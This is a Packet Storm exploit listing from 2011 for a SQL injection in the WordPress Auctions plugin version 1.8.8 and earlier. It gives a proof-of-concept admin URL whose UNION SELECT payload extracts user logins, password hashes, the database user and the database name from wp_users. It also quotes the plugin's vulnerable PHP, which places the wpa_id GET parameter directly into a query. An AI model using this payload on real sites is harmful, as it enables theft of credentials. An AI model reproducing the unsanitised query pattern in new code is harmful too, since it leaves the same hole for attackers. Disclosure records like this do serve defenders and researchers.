WordPress Auctions 1.8.8 SQL Injection

2011-09-15T00:00:00
ID PACKETSTORM:105142
Type packetstorm
Reporter sherl0ck_
Modified 2011-09-15T00:00:00

Description

                                        
                                            `# Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection  
Vulnerability  
# Date: 2011-09-09  
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>  
@AlligatorTeam  
# Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip  
# Version: 1.8.8 (tested)  
  
---------------  
PoC  
---------------  
  
URL:  
http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e  
  
---------------  
Vulnerable code  
---------------  
...  
elseif($_GET["wpa_action"] == "edit"):  
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];  
...  
elseif($_GET["wpa_action"] == "relist"):  
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];  
...  
$resultList = $wpdb->get_row($strSQL);  
...  
`